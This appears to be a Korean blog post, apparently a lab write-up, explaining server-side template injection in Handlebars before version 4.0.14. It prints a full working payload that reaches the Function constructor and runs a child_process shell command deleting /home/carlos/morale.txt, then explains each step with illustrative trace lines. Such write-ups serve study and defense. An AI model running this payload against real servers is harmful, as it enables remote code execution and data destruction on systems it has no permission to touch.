Handlebars SSTI

2024년 12월 04일
6

Handlebars SSTI란?

Handlebars SSTI는 서버 측 템플릿 엔진인 Handlebars에서 발생할 수 있는 보안 취약점입니다. 이 취약점은 공격자가 서버에서 실행되는 코드를 주입할 수 있게 하여, 원하지 않는 명령어 실행이나 데이터 유출을 초래할 수 있습니다.

💡 이 취약점은 4.0.14 이전 버전에서만 발생합니다.


배경

SSTI

SSTI는 Server-Side Template Injection의 약자로, 템플릿 엔진에 악의적인 구문을 삽입하여 공격이 성공할 경우 RCE, LFI 등을 실행할 수 있습니다.

Handlebars

Handlebars는 Node.js 기반 프레임워크에서 사용되는 템플릿 엔진입니다.


Payload

{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Payload Explain

1. "s" 문자열을 변수화

{{#with "s" as |string|}}
    ...
{{/with}}

{{#with ... as |alias|}}는 Handlebars.js에서 제공하는 블록 헬퍼로, "s"라는 문자열을 string이라는 이름으로 변수화합니다. 이 변수는 이후 조작 대상이 됩니다.

[INFO] "s" 문자열이 string 변수로 할당됨
[DEBUG] string = "s"

2. split 객체를 conslist라는 변수로 할당

{{#with split as |conslist|}}
    ...
{{/with}}

split은 JavaScript에서 문자열을 특정 구분자를 기준으로 나누는 메서드입니다. 이 템플릿에서는 이를 통해 리스트(배열)처럼 보이는 객체를 생성합니다. 생성된 리스트는 conslist라는 이름으로 저장되며, 이후 객체 내부 메서드(push, pop)를 이용해 조작됩니다.

[INFO] split 객체가 conslist로 할당됨
[DEBUG] conslist 초기값 = []

3. pop 메서드 호출

{{this.pop}}

pop 메서드는 배열의 마지막 요소를 제거하고 반환합니다. 리스트가 비어있으므로 아무것도 하지 않음

[INFO] conslist에서 pop 메서드 호출
[DEBUG] conslist = []

4. constructor 객체에 접근

{{this.push (lookup string.sub "constructor")}}

lookup는 특정 객체의 속성이나 메서드에 접근하는 헬퍼입니다. 여기서 string.sub는 string 객체에서 sub 메서드를 참조한 것입니다. constructor는 JavaScript의 모든 객체에 존재하는 기본 속성으로, 생성자 함수에 접근하는 데 사용됩니다. 결과적으로 이 코드는 JavaScript의 Function constructor를 참조하여 임의 코드 실행이 가능하게 만듭니다.

[INFO] string.sub 메서드의 constructor 속성 참조 시도
[DEBUG] constructor = [Function: Function]
[INFO] conslist에 constructor 참조 추가
[DEBUG] conslist = [[Function: Function]]

5. 시스템 명령어 정의

{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}

여기서 push를 통해 리스트에 시스템 명령어를 포함하는 문자열을 삽입합니다. 명령어 내용:
require('child_process')는 Node.js에서 시스템 명령어를 실행할 수 있는 모듈을 로드합니다. .exec(...)는 시스템 쉘 명령어를 실행하는 메서드로, 여기서는 서버에서 특정 파일(/home/carlos/morale.txt)을 삭제하는 명령어(rm)를 실행하려고 합니다.

[ACTION] string.split 호출로 codelist 생성.
[STATE] codelist = ["return require('child_process').exec('rm /home/carlos/morale.txt');"]

6. 템플릿 반복문 실행

{{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
        {{this}}
    {{/with}}
{{/each}}

#each는 Handlebars.js에서 제공하는 반복문으로, 리스트(conslist)의 모든 요소를 순회합니다. string.sub.apply(0, codelist)string.sub가 문자열 메서드 Function을 참조한 것으로, apply를 사용해 실행 시 인자를 리스트로 전달합니다. 이를 통해 조작된 codelist를 실행 컨텍스트에 적용하여 JavaScript 코드를 실행하려 합니다. 최종적으로 {{this}}는 템플릿 내에서 현재 컨텍스트를 출력하거나 실행하는 데 사용됩니다.

[INFO] conslist 순회 시작 (현재 conslist는 빈 배열).
[ACTION] string.sub.apply 호출로 codelist 실행.
[EXECUTE] "require('child_process').exec('rm /home/carlos/morale.txt');" 실행.

공격자는 템플릿 엔진이 제공하는 헬퍼와 메서드 체인 조작 기능을 이용해 JavaScript의 Function constructor에 접근하고, 이를 통해 코드를 실행합니다.


Reference


Lab